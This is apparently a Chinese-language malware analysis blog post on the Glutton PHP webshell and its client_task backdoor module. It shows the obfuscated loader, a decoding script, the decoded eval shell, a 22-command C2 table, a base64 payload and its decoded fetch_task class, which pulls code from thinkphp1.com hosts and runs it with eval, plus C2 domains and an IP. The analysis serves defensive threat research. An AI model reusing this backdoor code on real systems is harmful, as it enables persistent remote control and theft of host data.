$f[24]()<@$f[29]($f[18]($tf)))return;$a=array($pfile);if(@$f[19]($a[0],$f[1]($f[46]))>0){@include_once($pfile);}else{@$f[38]($a[0]);return;};@$f[38]($a[0]);$gz=$f[12]($f[30]);$go=function($lv)use($f,$gz,$rdata,$sfile){try{$rdata[6]=@$f[29]($f[18]($sfile.$f[58]));$rdata[7]=@$f[29]($f[18]($sfile.$f[59]));$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));$data=@$f[18]($f[1]($f[52]).$d);if($data && $gz)$data=@$f[30]($data);if($data)@$f[47]($data);return true;}catch(\Exception $e){}catch(\Throwable $e){}};if($cli){$hwai=$f[12]($f[33]);$pid=-1;if($f[12]($f[32]))$pid=$f[32]();if($pid<0){$go(3);return;}if($pid>0){return $hwai&&$f[33]($pid,$s);}if($hwai && $f[32]() )die;if($f[12]($f[34]))@$f[34]();if($f[12]($f[35]))@$f[35]($f[1]($f[74]));try{if($f[25]($f[75]))@$f[36]($f[26]($f[75]));if($f[25]($f[76]))@$f[36]($f[26]($f[76]));}catch(\Exception $e){}catch(\Throwable $e){};$nt0=0;do{if($f[24]()>$nt0){$nt0=$f[24]()+3600;@$f[19]($tf,$f[24]()+7200);@$go(4);}$f[37](60);}while(1);die;}else{$f[39](true);$f[40](function() use($f,$go){$f[41](function(){});$f[42](0);if($f[12]($f[43])){$f[43]();$go(2);}else{$go(1);}});}};set_error_handler(function(){});$error1=error_reporting();error_reporting(0);try{@$l0ader(true);}catch(\Exception $e){}catch(\Throwable $e){}error_reporting($error1);restore_error_handler();
 ;$b11ed=0;

这段webshell核心步骤为$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);​将 $sl​ 十六进制数字定义的数组分成 4 个字节转换为字符,然后解码后的字符串被存储在 $f​ 中。通过 $f[index]​ 调用了 PHP 内置函数

下面我们对上面webshell进行解密:

我们追踪一下$check​函数:

$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];

如果 self::$routeCheck​ 非空,则 $check​ 取其值;否则取 $config['url_route_on']​,相当于控制 Webshell 执行流程的一个开关,最终会影响 @$l0ader(true)​ 的执行。

Webshell执行逻辑:

if ($check && !@$r[$f[53]] && $f[24]() < @$f[29]($f[18]($tf))) return;
$ok = (@$f[19]($tf, $f[24]() + 7200) > 0);

检查 $tf​ 文件是否在有效时间范围内(当前时间小于文件时间戳),并设置有效期为 2小时​。如果 $check​ 条件满足且时间戳验证不过,则代码将提前返回;如果时间戳检查通过,则代码依赖 $go​ 函数继续运行

webshell的持久化

if ($cli) {
    $hwai = $f[12]($f[33]);
    if ($hwai && $f[32]()) die;
    if ($f[12]($f[34])) @$f[34]();
    do {
        @$go(4);
        $f while (1);
    die;
} else {
    @$f[38]($a[0]);
}

如果在 CLI 模式下调用 $go​ 执行任务,每 60 秒循环一次,实现持久化控制。

$go​函数:

$go = function ($lv) use ($f, $gz, $rdata, $sfile) {
    try {
        $rdata[6] = @$f[29]($f[18]($sfile . $f[58]));
        $rdata[7] = @$f[29]($f[18]($sfile . $f[59]));
        $d = @$f[31](array(
            $f[73] => $f[50] . $f[3](chr(0), $rdata),
            $f[71] => $lv,
            $f[72] => $gz,
            $f[57] => $f[24]()
        ));
        $data = @$f[18]($f[1]($f[52]) . $d);
        if ($data && $gz) $data = @$f[30]($data);
        if ($data) @$f[47]($data);
        return true;
    } catch (\Exception $e) {
    } catch (\Throwable $e) {
    }
};

跳转到$lv

$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));

文件操作与回调:

if (@$f[19]($a[0], $f[1]($f[46])) > 0) {
    @include_once($pfile);
} else {
    @$f[38]($a[0]);
    return;
}

所以我们关键就是解码 $sl​ 数组,以获得 $f​ 内容。

按照逻辑编写PHP解密脚本:

<?php
$sl = [0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000];
$r = '';

foreach ($sl as $d) {
    $decoded = chr($d >> 24) . chr($d >> 16) . chr($d >> 8) . chr($d);
    $r .= $decoded . "\n";
}

echo $r;
?>

image

后面还有base64,解密一下:

image

一个shell:

<?php 
if(!function_exists("__run_code_x20")) {
    function __run_code_x20($c) {
        $d = eval($c);
        $a=array($d);
        return array_shift($a);
    }
};

以及解密出的域名

image

image

此外:

image

应该是 Linux 系统中内核工作线程(Kernel Worker Thread)的一个标识

webshell最后是其保护机制:

set_error_handler(function() {});
$error1 = error_reporting();
error_reporting(0);
try {
    @$l0ader(true);
} catch (\Exception $e) {}
error_reporting($error1);
restore_error_handler();

屏蔽错误输出,将所有错误报告设置为 0,防止调试信息泄露。

Glutton's client_task

PHP后门

根据域名,我们进行反查样本,发现Glutton webshell的client_task​模块

image

image

image

和我们之前PHP解密内容相符

其中,client_socket​类将C2地址明文写入

class client_socket
{
    public $show_log=0;
    public $support_udp=1;

    private $socket_handle=null;
    private $is_tcp=false;
    protected $sid=0;
    protected $server_id=0;

    public $sleep_mode=0;
    private $config_keepalive_time=60;

    private $__last_send_time=0;
    private $__last_recv_time=0;

    public $tcp_uri='tcp://cc.thinkphp1.com:9501';
    public $udp_uri='udp://cc.thinkphp1.com:9501';

    private $__cache_packet=array();
    public function login($use_tcp=null)
    {
        $this->sid=0;

        if($use_tcp===null)
        {
            if(!$this->touch())return false;
        }else
        {
            $this->close();
            if(!$this->connect($use_tcp))return false;
            $this->set_timeout(5);          
        }
        $this->set_timeout(10);
        if(!$this->send_packet(10,s2go_make_login_packet(),false))return false;

        $packet=$this->read_packet();
        if(!$packet || $packet['cmd']!=148)
        {
            $this->log_msg("login return !cmd_config");
            $this->close();
            return false;
        }
        $this->process_packet($packet);

        if($this->sid>0)
        {
            $this->log_msg("login success,tcp={$this->is_tcp},sid={$this->sid},server_id={$this->server_id}");
        }

        return $this->sid>0;
    }

client_v1​类继承client_socket​,通过process_std_cmd_v1​类处理C2下发的指令。


class client_v1 extends client_socket
{
    public $std_method;
    public $is_winnt=false;

    public function __construct() {
        $this->std_method=new process_std_cmd_v1();
        $this->is_winnt=(substr(strtolower(PHP_OS),0,3)=='win');
    }

image

通过控制$cmd​来执行操作,如获取文件夹名称、获取当前文件列表、创建文件夹等,我们可以批量查找$cmd==​来确定其功能,注意if else循环

这个php后门支持22个不同的指令,以下为指令号以及对应的功能。

ID Function
1 ping(udp only)
2 pong(udp only)
10 login
31 keepalive
148 set connection config
149 switch connection to tcp
150 switch connection to udp
151 shell
152 upload/download file via tcp
189 get_temp_dir
190 scandir
191 get dir info
192 mkdir
193 write file
194 read file
195 create file
196 rm
197 copy file
198 rename file
199 chmod
200 chown
201 eval php code

通过劫持到的通信样本,我们可以分析其主动向服务器发送的信息:

http://v20.thinkphp1.com:80/v20/save?host_id=6144&host_uid=-1&sapi_name=cli&php_version=5.4.16&host_version=Linux+localhost+3.10.0-862.el7.x86_64+%231+SMP+Fri+Apr+20+16%3A44%3A24+UTC+2018+x86_64&host_os=Linux&host_name=localhost

发现含有 host_id​ 、host_uid​ 、 php_version​ 、 host_version​ 、 host_os​ 、 host_name

private function fetch_code_and_run()
{
    if(time()<$this->next_fetch_time)return '';
    $this->next_fetch_time=time()+3600;
    if(function_exists("exec"))exec("ps -ef|grep kworker/0:0HN |grep -v grep|awk '{print $2}'|xargs kill");

    if( $this->fetch_task->run_in_fork() )return true;

    $code='aWYoIWNsYXNzX2V4aXN0cygiZmV0Y2hfdGFzayIpKQ0Kew0KICAgIGNsYXNzIGZldGNoX3Rhc2sNCiAgICB7DQogICAgICAgIHByaXZhdGUgJGlzX3Jvb3Q9ZmFsc2U7DQoNCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJHRoaXMtPmlzX3Jvb3Q9KCR1aWQ9PT0wKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIHJ1bl9pbl9mb3JrKCkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygicGNudGxfZm9yayIpIHx8ICFmdW5jdGlvbl9leGlzdHMoInBjbnRsX3dhaXRwaWQiKSApcmV0dXJuIGZhbHNlOw0KDQogICAgICAgICAgICAkY29kZT0kdGhpcy0+ZmV0Y2goKTsNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3Rhc2tfdGltZV9maWxlKHRydWUpOw0KICAgICAgICAgICAgaWYoISRjb2RlKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcGlkPXBjbnRsX2ZvcmsoKTsNCiAgICAgICAgICAgIGlmKCRwaWQ9PTApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYocGNudGxfZm9yaygpKWV4aXQoMCk7DQogICAgICAgICAgICAgICAgdHJ5ew0KICAgICAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIH1jYXRjaChcRXhjZXB0aW9uICRlKXskdGhpcy0+cG9zdF9lcnJvcigkZSk7fWNhdGNoKFxUaHJvd2FibGUgJGUpeyR0aGlzLT5wb3N0X2Vycm9yKCRlKTt9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgIH1lbHNlIGlmKCRwaWQ+MCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBwY250bF93YWl0cGlkKCRwaWQsJHMpOw0KICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9ZWxzZSBpZigkcGlkPDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBydW5fc3RhdGljKCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRhc2s9bmV3IGZldGNoX3Rhc2soKTsNCiAgICAgICAgICAgICRjb2RlPSR0YXNrLT5mZXRjaCgpOw0KICAgICAgICAgICAgJHRhc2stPl9fd3JpdGVfdGFza190aW1lX2ZpbGUodHJ1ZSk7DQogICAgICAgICAgICBpZighJGNvZGUpcmV0dXJuIHRydWU7DQoNCiAgICAgICAgICAgIHRyeXsNCiAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9Y2F0Y2goXEV4Y2VwdGlvbiAkZSl7JHRhc2stPnBvc3RfZXJyb3IoJGUpO31jYXRjaChcVGhyb3dhYmxlICRlKXskdGFzay0+cG9zdF9lcnJvcigkZSk7fQ0KICAgICAgICAgICAgDQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIG1ha2VfYmFzZV9wYXJhbXMoKQ0KICAgICAgICB7DQoNCiAgICAgICAgICAgICRzbmFtZT1waHBfc2FwaV9uYW1lKCk7DQogICAgICAgIA0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJG9zPWRlZmluZWQoIlBIUF9PUyIpP0Bjb25zdGFudCgiUEhQX09TIik6IiI7DQogICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCg0KICAgICAgICAgICAgJHNmaWxlPScvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7JHNmaWxlWzJdPSdzJzskc2ZpbGVbM109J2UnOw0KICAgICAgICAgICAgJHNmaWxlPXN5c19nZXRfdGVtcF9kaXIoKS4kc2ZpbGU7DQogICAgDQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICAkaXNfd2luPSggc3RydG9sb3dlcihzdWJzdHIoJG9zLCAwLCAzKSk9PSJ3aW4iICk7DQogICAgICAgICAgICBpZigkaXNfd2luJiYkdXNlcikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkcGZpbGUuPSR1c2VyOw0KICAgICAgICAgICAgICAgICRzZmlsZS49JHVzZXI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaGlkID0gQGludHZhbChmaWxlX2dldF9jb250ZW50cygkc2ZpbGUuImhpZCIpKTsNCiAgICAgICAgICAgIGlmKCEkaGlkKSRoaWQgPSBAaW50dmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCRwZmlsZS4iaGlkIikpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkaGRhdGE9YXJyYXkoImhvc3RfaWQiPT4kaGlkLCJob3N0X3VpZCI9PiR1aWQsImhvc3RfdmVyc2lvbiI9PnBocF91bmFtZSgpLCJob3N0X29zIj0+JG9zLCJob3N0X25hbWUiPT5nZXRob3N0bmFtZSgpLCJzYXBpX25hbWUiPT4kc25hbWUsInBocF92ZXJzaW9uIj0+cGhwdmVyc2lvbigpKTsNCiAgICAgICAgICAgIHJldHVybiAkaGRhdGE7ICAgICAgICAgICANCiAgICAgICAgfQ0KDQogICAgICAgIHByaXZhdGUgJG5leHRfZXJyb3JfdGltZT0wOw0KICAgICAgICBmdW5jdGlvbiBwb3N0X2Vycm9yKCRlKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZih0aW1lKCk8JHRoaXMtPm5leHRfZXJyb3JfdGltZSlyZXR1cm4gIiI7DQogICAgICAgICAgICAkdGhpcy0+bmV4dF9lcnJvcl90aW1lPXRpbWUoKSs3MjAwOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZT1zdHJ2YWwoJGUpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgICAgICAgICAkaGRhdGFbJ21zZyddPWFycmF5KCJ0aXRsZSI9PiJjbGkuZXJyb3IiLCJjb250ZW50Ij0+c3RydmFsKCRlKSk7DQogICAgDQogICAgICAgICAgICAkcG9zdGRhdGEgPSBodHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KA0KICAgICAgICAgICAgICAnaHR0cCcgPT4gYXJyYXkoDQogICAgICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLA0KICAgICAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LXR5cGU6YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywNCiAgICAgICAgICAgICAgICAnY29udGVudCcgPT4gJHBvc3RkYXRhLA0KICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAxNSANCiAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgKTsNCiAgICANCiAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsNCiAgICAgICAgICAgICRyZXN1bHQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvc2F2ZT8nLCBmYWxzZSwgJGNvbnRleHQpOw0KICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH0NCg0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdGFza190aW1lX2ZpbGUoJGRpc2FibGVfY2dpPWZhbHNlKQ0KICAgICAgICB7DQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICBpZiggc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAwLCAzKSk9PSJ3aW4iICkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCiAgICAgICAgICAgICAgICBpZigkdXNlcikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgICAgICAgICAgICAgJHBmaWxlLj0kdXNlcjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdG9fdGltZV9maWxlKCRwZmlsZSwkZGlzYWJsZV9jZ2k9ZmFsc2UpDQogICAgICAgIHsNCg0KICAgICAgICAgICAgaWYoJHRoaXMtPmlzX3Jvb3QpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTEiOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTAiOw0KICAgICAgICAgICAgICAgIGlmKGZpbGVfZXhpc3RzKCRmaWxlKSlAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsdGltZSgpKzcyMDAqMik7DQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDEiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH1lbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTAiOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAgDQogICAgICAgIHB1YmxpYyBmdW5jdGlvbiBmZXRjaCgpDQogICAgICAgIHsNCiAgICAgICAgICAgICRnej1mdW5jdGlvbl9leGlzdHMoImd6dW5jb21wcmVzcyIpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgDQogICAgICAgICAgICAkaGRhdGFbJ2d6J109JGd6Ow0KICAgICAgICAgICAgJGhkYXRhWydfdCddPXRpbWUoKTsNCiAgICAgICAgICAgICR1cmw9J2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvZmV0Y2g/Jy5odHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkZGF0YT1AZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgICAgICAgICBpZigkZGF0YSAmJiAkZ3opJGRhdGE9QGd6dW5jb21wcmVzcygkZGF0YSk7DQogICAgICAgICAgICByZXR1cm4gJGRhdGE7DQogICAgICAgIH0NCiAgICB9Ow0KfTs=';
    $code=base64_decode($code);
    $code.=";fetch_task::run_static();";
    return $this->process->start_php_process($code);
}

在函数fetch_code_and_run​中设定Fetch_task​每小时执行一次,这个地方的$code​我们不能直接复制出来解密,将+​换行解密,得到:

if(!class_exists("fetch_task"))
{
    class fetch_task
    {
        private $is_root=false;

        public function __construct()
        {
            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $this->is_root=($uid===0);
        }

        public function run_in_fork()
        {
            if(!function_exists("pcntl_fork") || !function_exists("pcntl_waitpid") )return false;

            $code=$this-fetch();
            $this->__write_task_time_file(true);
            if(!$code)
            {
                return true;
            }

            $pid=pcntl_fork();
            if($pid==0)
            {
                if(pcntl_fork())exit(0);
                try{
                    @eval($code);

                }catch(\Exception $e){$this-post_error($e);}catch(\Throwable $e){$this->post_error($e);}

                exit(0);
            }else if($pid0)
            {
                pcntl_waitpid($pid,$s);

                return true;
            }else if($pid<0)
            {
                return false;
            }
        }

        public static function run_static()
        {
            $task=new fetch_task();
            $code=$task->fetch();
            $task->__write_task_time_file(true);
            if(!$code)return true;

            try{
                @eval($code);

            }catch(\Exception $e){$task->post_error($e);}catch(\Throwable $e){$task-post_error($e);}

            return true;
        }

        function make_base_params()
        {

            $sname=php_sapi_name();

            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $os=defined("PHP_OS")?@constant("PHP_OS"):"";
            $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');

            $sfile='/sess_zziudbrorkdadhip90v9jmj';$sfile[2]='s';$sfile[3]='e';
            $sfile=sys_get_temp_dir().$sfile;

            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            $is_win=( strtolower(substr($os, 0, 3))=="win" );
            if($is_win&&$user)
            {
                $pfile.=$user;
                $sfile.=$user;
            }
            $hid = @intval(file_get_contents($sfile."hid"));
            if(!$hid)$hid = @intval(file_get_contents($pfile."hid"));

            $hdata=array("host_id"=>$hid,"host_uid"=>$uid,"host_version"=>php_uname(),"host_os"=$os,"host_name"=>gethostname(),"sapi_name"=>$sname,"php_version"=phpversion());
            return $hdata;       
        }

        private $next_error_time=0;
        function post_error($e)
        {
            if(time()<$this->next_error_time)return "";
            $this-next_error_time=time()+7200;

            $e=strval($e);

            $hdata=$this->make_base_params();
            $hdata['msg']=array("title"=>"cli.error","content"=strval($e));

            $postdata = http_build_query($hdata);
            $options = array(
              'http' => array(
                'method' => 'POST',
                'header' => 'Content-type:application/x-www-form-urlencoded',
                'content' => $postdata,
                'timeout' => 15 
              )
            );

            $context = stream_context_create($options);
            $result = @file_get_contents('http://v20.thinkphp1.com/v20/save?', false, $context);
            return $result;
        }

        function __write_task_time_file($disable_cgi=false)
        {
            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            if( strtolower(substr(PHP_OS, 0, 3))=="win" )
            {
                $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');
                if($user)
                {
                    $this->__write_to_time_file($pfile,$disable_cgi);
                    $pfile.=$user;
                }
            }

            $this->__write_to_time_file($pfile,$disable_cgi);
        }

        function __write_to_time_file($pfile,$disable_cgi=false)
        {

            if($this->is_root)
            {
                $file=$pfile."i11";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                $file=$pfile."i10";
                if(file_exists($file))@file_put_contents($file,time()+7200*2);
                if($disable_cgi)
                {
                    $file=$pfile."i01";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);

                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }else
            {
                $file=$pfile."i10";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                if($disable_cgi)
                {
                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }
        }

        public function fetch()
        {
            $gz=function_exists("gzuncompress");

            $hdata=$this->make_base_params();

            $hdata['gz']=$gz;
            $hdata['_t']=time();
            $url='http://v20.thinkphp1.com/v20/fetch?'.http_build_query($hdata);
            $data=@file_get_contents($url);
            if($data && $gz)$data=@gzuncompress($data);
            return $data;
        }
    };
};

解密后发现是向远程服务器http://v20.thinkphp1.com/v20/fetch​请求gzuncompress​解压执行。

image

image

通过请求php-fpm​来下载 winnti 后门木马:

image

于今年3月捕获,IP:156.251.163.120:443

image